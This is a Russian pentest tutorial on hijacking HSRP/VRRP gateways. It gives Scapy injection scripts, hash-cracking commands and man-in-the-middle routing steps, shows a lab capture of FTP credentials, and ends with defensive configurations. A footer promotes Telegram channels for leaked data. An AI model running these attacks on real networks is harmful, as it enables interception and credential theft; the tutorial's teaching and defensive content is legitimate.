Gateway Bleeding. Пентестим системы FHRP и перехватываем трафик в сети
Существует множество способов повысить отказоустойчивость и надежность в корпоративных сетях. Часто для этого применяются специальные протоколы первого перехода FHRP. Из этой статьи ты узнаешь, как пентестеры работают с FHRP во время атак на сеть.
ЗАЧЕМ НУЖЕН FHRP
FHRP (First Hop Redundancy Protocol) — это семейство протоколов, обеспечивающих избыточность сетевого шлюза. Общая идея заключается в том, чтобы объединить несколько физических маршрутизаторов в один логический с общим IP-адресом. Этот адрес виртуального маршрутизатора будет назначаться на интерфейс маршрутизатора с главенствующей ролью, а тот, в свою очередь, займется форвардингом трафика. Самые популярные протоколы класса FHRP — это HSRP и VRRP, о них мы сегодня и поговорим.
Теория протокола HSRP
Протокол HSRP (Hot Standby Router Protocol) — это один из протоколов класса FHRP, позволяющих организовать систему отказоустойчивости шлюзов. Разработан инженерами Cisco Systems и работает только на сетевом оборудовании Cisco. Протокол реализован поверх стека TCP/IP и использует в качестве трансляции служебной информации протокол UDP на порте 1985.
Суть конфигурации HSRP заключается в том, чтобы объединить маршрутизаторы в одну логическую группу HSRP-маршрутизаторов под специальным числовым идентификатором. В самой группе HSRP образуется логический маршрутизатор, который получит виртуальный IP-адрес. А тот, в свою очередь, будет назначаться как шлюз по умолчанию для конечных хостов.
Маршрутизаторы, на которых функционирует HSRP, для обмена служебной информацией используют так называемые Hello-пакеты. С их помощью устройства общаются между собой, проводят выборы и сообщают друг другу о своем состоянии.
По умолчанию активный маршрутизатор каждые три секунды рассылает Hello-сообщение, которое звучит как «Парни, я еще в строю». Однако если в течение десяти секунд Standby-маршрутизатор не получает ни одного Hello-сообщения от Active-маршрутизатора, то он посчитает, что активный маршрутизатор «упал», и возьмет на себя его роль, исходя из значений приоритета.
Версии протокола HSRP
У протокола HSRP есть две версии — HSRPv1 и HSRPv2. Они отличаются следующими параметрами:
- количество возможных логических групп. В HSRPv1 их может быть до 255. У HSRPv2 количество групп может достигать 4096;
- IP-адрес мультикастовой рассылки. HSRPv1 для трансляции служебной информации использует IP-адрес
224.0.0.2
, а HSRPv2 —224.0.0.102
; - виртуальный MAC-адрес. HSRPv1 в качестве виртуального MAC-адреса использует
00:00:0C:07:AC:XX
. У HSRPv2 виртуальный MAC-адрес00:00:0C:9F:FX:XX
(где XX — это номер группы HSRP).
Сущности в домене HSRP
В рамках группы HSRP есть несколько сущностей:
- HSRP Active Router — устройство, играющее роль виртуального маршрутизатора и обеспечивающее форвардинг трафика из сетей источника до сетей назначения;
- HSRP Standby Router — устройство, играющее роль резервного маршрутизатора, которые ожидает отказа активного маршрутизатора. После падения основного Active-роутера Standby-роутер возьмет на себя главенствующую роль и будет заниматься обязанностями Active-роутера;
- HSRP Group — группа устройств — членов одной HSRP-группы, обеспечивают работу и отказоустойчивость логического маршрутизатора;
- HSRP MAC Address — виртуальный MAC-адрес логического маршрутизатора в домене HSRP;
- HSRP Virtual IP Address — это специальный виртуальный IP-адрес в группе HSRP. Данный IP-адрес будет шлюзом по умолчанию для конечных хостов, используется на самом логическом маршрутизаторе.
Теория протокола VRRP
VRRP (Virtual Router Redundancy Protocol) — протокол, разработанный в качестве более свободной альтернативы протоколу HSRP. Но поскольку он основан на феноменах протокола HSRP, с его «открытостью и свободой» есть некоторые нюансы, так что полностью свободным его не назвать. VRRP почти ничем не отличается от HSRP, выполняет те же самые функции, и в его домене абсолютно те же сущности, только называются они иначе.
В случае HSRP объявления генерировал не только Active-роутер, но и Standby-роутер. В случае VRRP выполнять рассылку объявлений будет только Master-маршрутизатор на зарезервированный групповой адрес 224.0.0.18
. По умолчанию пакеты приветствия VRRP рассылаются каждую секунду.
Версии протокола VRRP
У протокола две версии — VRRPv2 и VRRPv3.
- У VRRPv3 есть поддержка IPv6, VRRPv2 поддерживается только для сетей IPv4.
- У VRRPv3 отсутствует поддержка аутентификации, у VRRPv2 имеется целых три способа аутентификации.
- VRRPv3 в качестве таймингов использует сантисекунды, VRRPv2 оперирует секундами.
Сущности в домене VRRP
- VRRP Master Router — это активный маршрутизатор, отвечающий за передачу легитимного трафика в сети.
- VRRP Backup Router — маршрутизатор, находящийся в режиме ожидания. Как только текущий Master Router упадет, перехватит его роль и будет выполнять его функции.
- VRRP MAC Address — виртуальный MAC-адрес в группе VRRP (
00:00:5E:01:XX
). ВместоXX
— номер группы VRRP. - VRRP VRID — идентификатор группы VRRP, в рамках которой расположены физические маршрутизаторы.
- VRRP Virtual IP Address — специальный виртуальный IP-адрес в домене VRRP. Этот IP-адрес используется в качестве шлюза по умолчанию для конечных хостов.
Выбор главенствующего маршрутизатора
В рамках протоколов FHRP выбор главенствующей роли маршрутизатора основывается на значении приоритета. По умолчанию в момент конфигурации на всех маршрутизаторах значение эквивалентно 100 единицам. Максимальное же значение приоритета лежит в диапазоне от 1 до 255 (для VRRP этот диапазон составляет от 1 до 254).
Если администратор не позаботился о ручной конфигурации значения приоритета на маршрутизаторах, главным маршрутизатором станет тот, у которого наибольший IP-адрес. Инженер с помощью конфигурации значения приоритета сам решает, кто будет активным маршрутизатором, а кто — резервным.
FHRP HIJACKING
Техника этой сетевой атаки заключается в том, чтобы навязать свое устройство в качестве главного маршрутизатора с помощью инъекции HSRP- или VRRP-пакета с максимальным значением приоритета. Успешная эксплуатация приводит к MITM-атаке, в результате которой ты сможешь перехватить весь трафик внутри сети, провести редирект или вызвать DoS. Достаточно собрать HSRP- или VRRP-пакет с наивысшим значением приоритета 255 и направить его в сторону локальной сети. Согласись, не слишком сложно.
WARNING
Так как во время атаки на FHRP надо взаимодействовать с легитимными маршрутизаторами — шлюзами по умолчанию для конечных хостов, необходимо очень быстро выполнять все свои действия, начиная от инъекции и заканчивая организацией форвардинга всего трафика на стороне твоей машины. Если будешь медлить во время проведения атаки, конечные хосты словят DoS — твой заказчик такой сценарий не оценит.
Подготовка кастомной инъекции
Я написал инструменты для атак на FHRP-протоколы, добавив их в свой репозиторий GatewayBleeding. Всегда лучше писать собственные инструменты, так ты понимаешь весь процесс эксплуатации с нуля, что очень важно. Кроме того, это будет выделять тебя на фоне остальных Чтобы ты понимал принцип эксплуатации, я разберу весь программный код скриптов HSRPWN.py и VRRPWN.py.
INFO
Инструменты написаны на Python версии 3.
HSRPWN.py
Для начала нам необходимо импортировать библиотеку Scapy, а также модуль для работы с L2-протоколами и протоколом HSRP. Кроме того, подключим модуль argparse
, чтобы сделать скрипт параметризированным.
from scapy.layers.hsrp import *
В переменную HSRPMulticastAddr
запишем значение IP-адреса мультикастовой рассылки HSRPv1.
HSRPMulticastAddr = "224.0.0.2"
Объявляем функцию take_arguments
. Она будет обрабатывать введенные пользователем входящие параметры:
- интерфейс, с которого будут отправляться пакеты (переменная
interface
); - номер группы HSRP (переменная
group
); - IP-адрес атакующего (переменная
attackerip
); - виртуальный IP-адрес домена HSRP (переменная
vip
); - ключ для аутентификации (переменная
auth
).
Парсить введенные параметры будет parser.parse_args()
. Результат выполнения функции запишется в переменную args
.
parser = argparse.ArgumentParser()
parser.add_argument("--interface", dest="interface", type=str, required=True, help="Select your network interface")
parser.add_argument("--group", dest="group", type=int, required=True, help="Choose HSRP group ID value")
parser.add_argument("--ip", dest="attackerip", type=str, required=True, help="Specify your IP address")
parser.add_argument("--vip", dest="vip", type=str, required=True, help="Specify HSRP Virtual IP address")
parser.add_argument("--auth", dest="auth", type=str, required=True, help="Enter the auth HSRP passphrase")
В функции inject
происходит сборка инъекции HSRP-пакета с наибольшим значением приоритета 255. Значения для переменных внутри слоев пакетов извлекаются из указанных значений аргументов пользователем args.*
. При этом:
- в переменной
L2frame
собирается Ethernet-фрейм; - в переменной
L3packet
собирается сетевой пакет с IP-адресом источника и IP-адресом назначения. TTL будет равен 1. Если отправишь пакет не с этим TTL — маршрутизаторы отбросят его; - в переменной
UDP_layer
создается UDP-слой с портом источника1985
и портом назначения1985
; - в переменной
evil_hsrp
создается вредоносный HSRP-пакет со значением приоритета 255, номером группы HSRP, значением виртуального IP-адреса и ключом аутентификации; - в переменной
crafted
собирается сам пакет с кадром, сетевым IP-пакетом, слоем UDP и самим протоколом HSRP.
def inject(interface, group, attackerip, vip, auth):
L3packet = IP(src=args.attackerip, dst=HSRPMulticastAddr, ttl=1)
UDP_layer = UDP(sport=1985, dport=1985)
evil_hsrp = HSRP(group=args.group, priority=255, virtualIP=args.vip, auth=args.auth)
crafted = L2frame / L3packet / UDP_layer / evil_hsrp
sendp(crafted, iface=args.interface, inter=3, loop=1, verbose=1)
Далее с помощью метода sendp
собранный пакет через каждые три секунды отправляется с указанного пользователем интерфейса. Работу скрипта ни в коем случае нельзя прекращать: если он упадет, пакеты перестанут рассылаться, легитимные маршрутизаторы признают наше устройство «погибшим» и перестроят свои роли в домене.
В конце скрипта вызываем функции take_arguments
и inject
.
inject(args.interface, args.group, args.attackerip, args.vip, args.auth)
VRRPWN.py
Здесь почти все то же самое, что и с HSRPWN.py
, но имеются и некоторые отличия.
Импортируем модуль для работы с протоколом VRRP:
from scapy.layers.vrrp import *
В переменной VRRPMulticastAddr
указывается IP-адрес мультикастовой рассылки 224.0.0.18
:
VRRPMulticastAddr = "224.0.0.18"
Функция take_arguments
будет обрабатывать введенные пользователем входящие параметры:
- интерфейс, с которого будут отправляться пакеты (переменная
interface
); - номер группы HSRP (переменная
group
); - IP-адрес атакующего (переменная
attackerip
); - виртуальный IP-адрес домена HSRP (переменная
vip
).
parser = argparse.ArgumentParser()
parser.add_argument("--interface", dest="interface", type=str, required=True, help="Select your network interface")
parser.add_argument("--group", dest="group", type=int, required=True, help="Choose VRRP group ID value")
parser.add_argument("--ip", dest="attackerip", type=str, required=True, help="Specify your IP address")
parser.add_argument("--vip", dest="vip", type=str, required=True, help="Specify VRRP Virtual IP address")
- В
L2frame
собирается Ethernet-фрейм. - В
L3packet
собирается IP-пакет с IP-адресом источника и IP-адресом назначения. TTL будет равен 255. Если отправишь пакет не с этим TTL — маршрутизаторы отбросят его. - В
evil_vrrp
создается вредоносный VRRP-пакет со значением приоритета 255, номером группы VRRP и значением виртуального IP-адреса. - В
crafted
собирается сам пакет с кадром, сетевым IP-пакетом и самим протоколом VRRP.
def inject(interface, group, attackerip, vip):
L3packet = IP(src=args.attackerip, dst=VRRPMulticastAddr, ttl=255)
evil_vrrp = VRRP(vrid=args.group, priority=255, addrlist=args.vip)
crafted = L2frame / L3packet / evil_vrrp
sendp(crafted, iface=args.interface, inter=3, loop=1, verbose=1)
INFO
В данном скрипте нет слоя протоколов транспортного уровня. VRRP работает исключительно на сетевом уровне и не реализован поверх стека протоколов TCP/IP.
В конце скрипта вызываем функции take_arguments
и inject
:
inject(args.interface, args.group, args.attackerip, args.vip)
Виртуальная лаборатория
Чтобы показать эксплуатацию на практике, я подготовил небольшой лабораторный стенд.
Здесь: - Dustup — это FTP-сервер; - Kali выступает в качестве атакующей машины; - Radiant — клиентская машина с Windows 10 LTSC; - SW2 и SW4 — коммутаторы Cisco vIOS; - R1 и R2 — маршрутизаторы Cisco vIOS.Домен HSRP
Мы будем использовать версию HSRPv1.
Домен VRRP
На этом стенде используется версия VRRPv2.
Взлом MD5-аутентификации
Доступ к доменам FHRP может быть защищен аутентификацией. В большинстве случаев используется MD5-аутентификация. Я покажу, как можно сбрутить пароль, при этом получив хеш из дампа сетевого трафика.
Сохраняем дамп трафика в файл hsrp_encrypted.pcap
. Далее используем утилиту pcap2john и подаем ей на вход дамп трафика HSRP с хешами.
necreas1ng@Mercy:~$ pcap2john hsrp_encrypted.pcap
Копируем хеши в отдельный файл hsrp_md5_hashes.txt
и с помощью John The Ripper начинаем перебирать пароли, указав словарь через параметр --wordlist
. JTR сам определит тип хеша, находящийся в файле.
necreas1ng@Mercy:~$ john hsrp_md5_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Пароль от домена HSRP — admin
. Теперь разберем такой же кейс с доменом VRRP.
Сохраняем дамп в файл vrrp_encrypted.pcap
. Далее используем утилиту pcap2john и подаем ей на вход дамп трафика VRRP с хешами.
necreas1ng@Mercy:~$ pcap2john hsrp_encrypted.pcap
Копируем хеши в отдельный файл vrrp_md5_hashes.txt
и с помощью John The Ripper начинаем перебирать пароли, указав словарь через параметр --wordlist
. Как и в прошлом случае, тип хеша определяется автоматически.
necreas1ng@Mercy:~$ john vrrp_md5_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Пароль от VRRP-домена — cerberus
.
АТАКА НА HSRP И ПЕРЕХВАТ ТРАФИКА
Необходимо в первую очередь перевести сетевой интерфейс в неразборчивый режим и разрешить форвардинг на машине:
necreas1ng@Mercy:~$ sudo ifconfig eth0 promisc
necreas1ng@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1
Запускаем скрипт HSRPWN.py
, указываем интерфейс, IP-адрес атакующего, виртуальный IP-адрес, номер группы и ключ аутентификации.
necreas1ng@Mercy:~$ sudo python3 HSRPWN.py --interface eth0 --group 1 --ip 10.1.1.2 --vip 10.1.1.254 --auth cisco
Конфигурация HSRP на маршрутизаторах R1 и R2 до выполнения инъекции:
P indicates configured to preempt.
Interface Grp Pri P State Active Standby Virtual IP
Gi0/0 1 150 Active local 10.1.1.200 10.1.1.254
P indicates configured to preempt.
Interface Grp Pri P State Active Standby Virtual IP
Gi0/0 1 100 Standby 10.1.1.100 local 10.1.1.254
А вот поведение конфигурации HSRP на маршрутизаторах R1 и R2 после выполнения инъекции:
P indicates configured to preempt.
Interface Grp Pri P State Active Standby Virtual IP
Gi0/0 1 150 Standby 10.1.1.2 local 10.1.1.254
P indicates configured to preempt.
Interface Grp Pri P State Active Standby Virtual IP
Gi0/0 1 100 Listen 10.1.1.2 10.1.1.100 10.1.1.254
Как видишь, маршрутизаторы R1 и R2 изменили свои роли. Теперь они признают хост с IP-адресом 10.1.1.2 как Active-роутер.
На этом этапе нужно создать вторичный IP-адрес на интерфейсе eth0
с указанием виртуального IP-адреса группы HSRP:
necreas1ng@Mercy:~$ sudo ifconfig eth0:1 10.1.1.254 netmask 255.255.255.0
Далее необходимо удалить все маршруты на твоей машине и создать единственный, который будет проходить через один из легитимных маршрутизаторов. В качестве следующего шлюза можно указать IP-адрес одного из маршрутизаторов R1 или R2. Даже несмотря на то, что мы у него «отжали» роль Active-роутера, он все равно сможет выполнять маршрутизацию и направить трафик до хоста либо сети назначения. Пропишем все же маршрут через IP-адрес маршрутизатора R1 — 10.1.1.100
:
necreas1ng@Mercy:~$ sudo del default gw
necreas1ng@Mercy:~$ sudo route del -net 0.0.0.0 netmask 0.0.0.0
necreas1ng@Mercy:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.1.1.100 eth0
Сейчас ты видишь только исходящий трафик. Было бы неплохо получить также и входящий. Небольшое правило для NAT решит эту задачу.
necreas1ng@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
После атаки я попробую с машины под именем Radiant подключиться к FTP-серверу под именем Dustup. Посмотрим, увенчалась ли атака успехом.
C:\Users\radiant>ftp 172.20.20.50
В конечном счете мы смогли перехватить легитимный трафик. Даже добыли креды от FTP-сервера mercy:i_dont_trust_you
.
INFO
В этом кейсе ты перехватываешь абсолютно весь трафик внутри сети, а подключение к FTP-серверу будет служить примером, чтобы показать импакт от атаки.
АТАКА НА VRRP И ПЕРЕХВАТ ТРАФИКА
necreas1ng@Mercy:~$ sudo python3 VRRPWN.py --interface eth0 --group 1 --ip 10.1.1.2 --vip 10.1.1.254
Ты можешь заметить, что только 10.1.1.2
рассылает объявления. Это говорит о том, что мы стали Master-роутером.
Вот поведение VRRP на маршрутизаторах R1 и R2 до инъекции:
Interface Grp Pri Time Own Pre State Master addr Group addr
Gi0/0 1 150 3414 Y Master 10.1.1.100 10.1.1.254
Interface Grp Pri Time Own Pre State Master addr Group addr
Gi0/0 1 100 3609 Y Backup 10.1.1.100 10.1.1.254
А вот поведение VRRP на маршрутизаторах R1 и R2 после инъекции:
Interface Grp Pri Time Own Pre State Master addr Group addr
Gi0/0 1 150 3414 Y Backup 10.1.1.2 10.1.1.254
Interface Grp Pri Time Own Pre State Master addr Group addr
Gi0/0 1 100 3609 Y Backup 10.1.1.2 10.1.1.254
Маршрутизаторы R1 и R2 изменили свои роли. Теперь они признают хост с IP-адресом 10.1.1.2
как Master-роутер.
Затем нужно создать вторичный IP-адрес на интерфейсе eth0
с указанием виртуального IP-адреса группы VRRP:
necreas1ng@Mercy:~$ sudo ifconfig eth0:1 10.1.1.254 netmask 255.255.255.0
Далее удаляем все маршруты на машине и создаем единственный через роутер R1:
necreas1ng@Mercy:~$ sudo del default gw
necreas1ng@Mercy:~$ sudo route del -net 0.0.0.0 netmask 0.0.0.0
necreas1ng@Mercy:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.1.1.100 eth0
И напоследок правило для SNAT:
necreas1ng@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
После атаки я попробую подключиться с машины под именем Radiant к FTP-серверу под именем Dustup.
В итоге получился тот же сценарий: мы видим абсолютно весь трафик, но в рамках данного кейса меня интересовал только FTP-трафик. Перехваченные креды — betrayal:punish_you
.
ПРЕВЕНТИВНЫЕ МЕРЫ
Приоритет 255
Из соображений безопасности рекомендуется на Master- или Active-маршрутизаторе выставить максимальный приоритет. В таком случае, если злоумышленник отправит вредоносный пакет с приоритетом 255, у него не выйдет стать «главным», поскольку таковой уже имеется.
INFO
В этой статье я ориентируюсь на принципы и команды Cisco IOS CLI.
Конфигурация для HSRP, группа 1:
R1(config-if)# standby 1 priority 255
Конфигурация для VRRP, группа 1:
R1(config-if)# vrrp 1 priority 254
Аутентификация
Если ты собрался защищать домен FHRP с помощью парольной аутентификации, обязательно позаботься о стойкости пароля, чтобы его не сбрутили. Как ты видел, хеш в открытом виде передается по сети, поэтому у злоумышленника имеются шансы перебрать пароль.
Конфигурация MD5-аутентификации для HSRP, группа 1:
R1(config-if)#standby 1 authentication md5 key-string all_h3re_f0r_y0u
Конфигурация MD5-аутентификации для VRRP, группа 1:
R1(config-if)#vrrp 1 authentication md5 key-string all_h3re_f0r_y0u
Кстати говоря, оборудование Cisco может похвастаться наличием keychain-аутентификации. В таком случае конфигурируются два ключа и даже можно настроить интервалы времени, когда будет приниматься и отправляться ключ. Такой подход в значительной степени усложняет жизнь злоумышленнику, поскольку ему придется не только брутить пароль, но и угадать последовательность ключей и подходящий для их передачи промежуток времени.
Ниже я привожу пример конфигурации keychain в отношении маршрутизатора R1 для HSRP, для VRRP она тоже подойдет. Такую же конфигурацию следует настроить на остальных маршрутизаторах в рамках одного домена.
R1#conf t # Входим в режим глобальной конфигурации
R1(config)# key chain SecureFHRP # Создаем keychain-цепочку под названием SecureFHRP
R1(config-keychain)# key 1 # Создаем первый ключ
R1(config-keychain-key)# key-string gu1d1ng_l1ght # Указываем пароль
R1(config-keychain-key)# accept-lifetime 20:00:00 may 1 2022 20:00:00 may 2 2022 # Указываем промежуток времени, в течение которого маршрутизатор будет принимать ключ от соседа
R1(config-keychain-key)# send-lifetime 20:00:00 may 1 2022 20:00:00 may 2 2022 # Указываем промежуток времени, в течение которого маршрутизатор будет отправлять ключ соседу
R1(config-keychain)# key 2 # Когда закончится действие первого ключа, автоматически будет использован второй ключ. Создаем второй ключ
R1(config-keychain-key)# key-string l0g1c_b0mb # Указываем пароль
R1(config-keychain-key)# accept-lifetime 20:00:00 may 2 2022 20:00:00 may 3 2022 # Указываем промежуток времени, в течение которого маршрутизатор будет принимать ключ от соседа
R1(config-keychain-key)# send-lifetime 20:00:00 may 2 2022 20:00:00 may 3 2022 # Указываем промежуток времени, в течение которого маршрутизатор будет отправлять ключ соседу
R1(config)# interface GigabitEthernet 0/1 # Входим в режим конфигурации интерфейса
R1(config-if)# standby 1 authentication md5 key-chain SecureFHRP # Включаем MD5-аутентификацию с использованием keychain для группы HSRP 1
Ограничение трафика HSRP
HSRP использует протокол транспортного уровня UDP для приема и передачи служебных объявлений. С помощью настройки ACL (Access List Control) мы можем ограничить трафик UDP по портам источника и назначения 1985. Если злоумышленник будет проводить инъекцию HSRP-пакетов, эти пакеты будут отброшены механизмом ACL.
Пример конфигурации расширенного ACL для безопасности HSRPv1:
R1(config)# ip access-list extended DropHSRP # Создаем расширенный ACL с названием DropHSRP
R1(config-ext-nacl)# permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.0.2 eq 1985 # Разрешаем UDP-трафик в отношении сети 10.1.1.0 по обратной 30-битной маске, по портам 1985 и по мультикастовому IP-адресу 224.0.0.2
R1(config-ext-nacl)# deny udp any eq 1985 any eq 1985 # Далее запрещаем UDP-трафик по портам 1985
R1(config-ext-nacl)# permit ip any any # Разрешаем остальной трафик по IP
R1(config)# interface GigabitEthernet0/0 # Входим в режим конфигурации интерфейса
R1(config-if)# ip access-group DropHSRP in # Привязываем настроенный ACL к интерфейсу на IN
Расширенный ACL для версии HSRPv2:
R1(config)# ip access-list extended DropHSRPv2 # Создаем расширенный ACL с названием DropHSRP
R1(config-ext-nacl)# permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.0.102 eq 1985 # Разрешаем UDP-трафик в отношении сети 10.1.1.0 по обратной 30-битной маске, по портам 1985 и по мультикастовому IP-адресу 224.0.0.2
R1(config-ext-nacl)# deny udp any eq 1985 any eq 1985 # Далее запрещаем UDP-трафик по портам 1985
R1(config-ext-nacl)# permit ip any any # Разрешаем остальной трафик по IP
R1(config)# interface GigabitEthernet0/0 # Входим в режим конфигурации интерфейса
R1(config-if)# ip access-group DropHSRPv2 in # Привязываем настроенный ACL к интерфейсу на IN
INFO
Во время настройки ACL используются обратные маски (Wild Card masks).
ЗАКЛЮЧЕНИЕ
Протоколы класса FHRP помогают организовать систему горячего резервирования шлюзов. Такие системы широко распространены в рамках рассмотренного нами кейса. Но теперь ты знаешь, что может произойти с сетью, если инженер не позаботился о безопасности конфигурации самих FHRP-протоколов.
Кстати говоря, FHRP Hijacking может служить альтернативой ARP-спуфингу. В сетях AD открываются все возможности для Relay-атак и сбора информации, также можно реализовать фишинговые атаки и многое другое. Эта статья подскажет новые векторы атак для пентестеров, а сетевые администраторы обзаведутся новыми кейсами, чтобы повысить безопасность своей сети.
- 👁 Бот для поиска информации - @LeakedInfoBot
- 🦋 Слитая информация - @Leakinfo
- 🎭 Наша группа > - Точка входа
- ❤️ Поблагодарить Bitcoin